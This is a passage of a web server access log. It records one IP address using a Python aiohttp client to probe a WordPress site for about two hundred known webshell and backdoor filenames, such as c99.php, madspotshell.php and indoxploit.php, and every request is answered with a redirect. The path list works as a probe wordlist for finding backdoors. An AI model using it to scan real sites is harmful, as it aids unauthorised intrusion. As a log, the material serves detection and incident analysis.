/wp-admin/a.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:11 -0400] "GET /wp-admin/c.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:14 -0400] "GET /wp-admin/d.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:15 -0400] "GET /wp-admin/e.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:17 -0400] "GET /wp-admin/f.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:20 -0400] "GET /wp-admin/g.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:23 -0400] "GET /wp-admin/h.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:25 -0400] "GET /wp-admin/i.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:27 -0400] "GET /wp-admin/list.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:31 -0400] "GET /wp-admin/bcd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:32 -0400] "GET /wp-admin/bct.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:34 -0400] "GET /wp-admin/act.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:36 -0400] "GET /wp-admin/anoncyber.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:38 -0400] "GET /wp-admin/tools.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:42 -0400] "GET /wp-admin/tool.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:44 -0400] "GET /wp-admin/finder.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:46 -0400] "GET /wp-admin/scan.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:48 -0400] "GET /wp-admin/anjink.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:49 -0400] "GET /wp-admin/hasben.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:51 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:54 -0400] "GET /wp-admin/0t0n9.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:56 -0400] "GET /wp-admin/exploiter.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:56:57 -0400] "GET /wp-admin/xploitz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:21 -0400] "GET /wp-admin/egyshell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:23 -0400] "GET /wp-admin/auto.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:24 -0400] "GET /wp-admin/ngewe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:27 -0400] "GET /wp-admin/c22.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:28 -0400] "GET /wp-admin/c100.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:30 -0400] "GET /wp-admin/configuration.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:33 -0400] "GET /wp-admin/ls.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:34 -0400] "GET /wp-admin/Cpanel.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:36 -0400] "GET /wp-admin/k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:39 -0400] "GET /wp-admin/zone-h.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:41 -0400] "GET /wp-admin/images/Sym.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:43 -0400] "GET /wp-admin/cp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:51 -0400] "GET /wp-admin/images/madspotshell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:53 -0400] "GET /wp-admin/images/root.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:58 -0400] "GET /wp-admin/images/whmcs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:00 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:02 -0400] "GET /wp-admin/images/2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:07 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:10 -0400] "GET /wp-content/cpanel HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:15 -0400] "GET /wp-content/images HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:18 -0400] "GET /wp-content/hacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:20 -0400] "GET /wp-content/hacked.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:24 -0400] "GET /wp-content/hekel.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:26 -0400] "GET /wp-content/heker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:28 -0400] "GET /wp-content/sea.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:32 -0400] "GET /wp-content/web.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:35 -0400] "GET /wp-content/root.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:41 -0400] "GET /wp-content/r00t.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:45 -0400] "GET /wp-content/idx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:49 -0400] "GET /wp-content/indoxploit.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:54 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:57 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:00 -0400] "GET /wp-admin/xploiter.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:03 -0400] "GET /wp-admin/online.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:05 -0400] "GET /wp-admin/124.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:06 -0400] "GET /wp-admin/123.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:09 -0400] "GET /wp-admin/door.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:12 -0400] "GET /wp-admin/wifi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:17 -0400] "GET /wp-admin/maniac.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:21 -0400] "GET /wp-admin/savage.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:23 -0400] "GET /wp-admin/acil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:24 -0400] "GET /wp-admin/crot.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:28 -0400] "GET /wp-admin/ah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:33 -0400] "GET /wp-admin/besar.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:35 -0400] "GET /wp-admin/kecil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:36 -0400] "GET /wp-admin/acx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:40 -0400] "GET /wp-admin/heked.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:43 -0400] "GET /wp-admin/andro.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:45 -0400] "GET /wp-admin/androsec.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:50 -0400] "GET /wp-admin/1337.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:52 -0400] "GET /wp-admin/android.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:57:55 -0400] "GET /wp-admin/asus.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:00 -0400] "GET /wp-admin/n7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:05 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:07 -0400] "GET /wp-admin/tnt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:11 -0400] "GET /wp-admin/adm0n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:13 -0400] "GET /wp-admin/c99.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:15 -0400] "GET /wp-admin/gaza.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:58:17 -0400] "GET /wp-admin/madspotshell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:07:59:59 -0400] "GET /wp-content/2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:02 -0400] "GET /wp-content/3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:09 -0400] "GET /wp-content/4.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:12 -0400] "GET /wp-content/5.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:16 -0400] "GET /wp-content/6.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:20 -0400] "GET /wp-content/7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:23 -0400] "GET /wp-content/8.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:27 -0400] "GET /wp-content/9.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:30 -0400] "GET /wp-content/10.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:33 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:37 -0400] "GET /wp-content/12.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:40 -0400] "GET /wp-content/13.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:47 -0400] "GET /wp-content/14.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:51 -0400] "GET /wp-content/15.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:54 -0400] "GET /wp-content/16.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:00:58 -0400] "GET /wp-content/17.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:01 -0400] "GET /wp-content/18.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:04 -0400] "GET /wp-content/19.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:08 -0400] "GET /wp-content/20.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:12 -0400] "GET /wp-content/21.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:16 -0400] "GET /wp-content/22.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:19 -0400] "GET /wp-content/23.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:24 -0400] "GET /wp-content/24.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:30 -0400] "GET /wp-content/25.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:34 -0400] "GET /wp-content/26.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:41 -0400] "GET /wp-content/27.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:44 -0400] "GET /wp-content/28.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:48 -0400] "GET /wp-content/29.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:51 -0400] "GET /wp-content/30.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:01:56 -0400] "GET /wp-content/31.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:00 -0400] "GET /wp-content/32.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:05 -0400] "GET /wp-content/33.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:13 -0400] "GET /wp-content/34.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:15 -0400] "GET /wp-content/35.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:18 -0400] "GET /wp-content/36.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:20 -0400] "GET /wp-content/37.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:22 -0400] "GET /wp-content/38.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:26 -0400] "GET /wp-content/39.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:29 -0400] "GET /wp-content/40.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:31 -0400] "GET /wp-content/41.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:33 -0400] "GET /wp-content/42.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:36 -0400] "GET /wp-content/43.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:39 -0400] "GET /wp-content/44.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:41 -0400] "GET /wp-content/45.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:43 -0400] "GET /wp-content/46.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:47 -0400] "GET /wp-content/47.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:50 -0400] "GET /wp-content/48.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:54 -0400] "GET /wp-content/49.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:57 -0400] "GET /wp-content/50.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:02:59 -0400] "GET /wp-content/kontol.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:03 -0400] "GET /wp-content/memek.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:06 -0400] "GET /wp-content/peju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:10 -0400] "GET /wp-content/onion.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:13 -0400] "GET /wp-content/malay.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:16 -0400] "GET /wp-content/69.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:20 -0400] "GET /wp-content/crack.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:22 -0400] "GET /wp-content/hindi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:25 -0400] "GET /wp-content/indo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:27 -0400] "GET /wp-content/1945.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:30 -0400] "GET /wp-content/Sym.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:35 -0400] "GET /wp-content/lax.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:40 -0400] "GET /wp-content/00.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:44 -0400] "GET /wp-content/938383828272.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:46 -0400] "GET /wp-content/ngentod.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:50 -0400] "GET /wp-content/y0y0.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:55 -0400] "GET /wp-content/galau.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:03:59 -0400] "GET /wp-content/pc.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:01 -0400] "GET /wp-content/pacman.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:04 -0400] "GET /wp-content/kudaxload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:07 -0400] "GET /wp-content/kudaxload.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:10 -0400] "GET /wp-content/09999888.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:14 -0400] "GET /wp-content/crotz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:18 -0400] "GET /wp-content/kagetguababi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:21 -0400] "GET /wp-content/indonesia.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:24 -0400] "GET /wp-content/terserah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:27 -0400] "GET /wp-content/wp-user.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:29 -0400] "GET /wp-content/robots.txt HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:31 -0400] "GET /wp-content/ez.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:35 -0400] "GET /wp-content/info.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:39 -0400] "GET /wp-content/php.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:42 -0400] "GET /wp-content/.-php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:46 -0400] "GET /wp-content/-_-.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:49 -0400] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:51 -0400] "GET /wp-content/babi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:04:55 -0400] "GET /wp-content/ies.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:00 -0400] "GET /wp-content/m3m3k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:03 -0400] "GET /wp-content/anon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:08 -0400] "GET /wp-content/anonghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:10 -0400] "GET /wp-content/anonymous.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:17 -0400] "GET /wp-content/anon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:21 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:24 -0400] "GET /wp-content/k2ll33d.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:28 -0400] "GET /wp-content/4n0n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:33 -0400] "GET /wp-content/an0n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:36 -0400] "GET /wp-content/4non.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:42 -0400] "GET /wp-content/blackhat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:44 -0400] "GET /wp-content/whitehat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:47 -0400] "GET /wp-content/hat.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:50 -0400] "GET /wp-content/h4t.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:53 -0400] "GET /wp-content/h3k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:05:58 -0400] "GET /wp-content/f1l3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:04 -0400] "GET /wp-content/cgi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:09 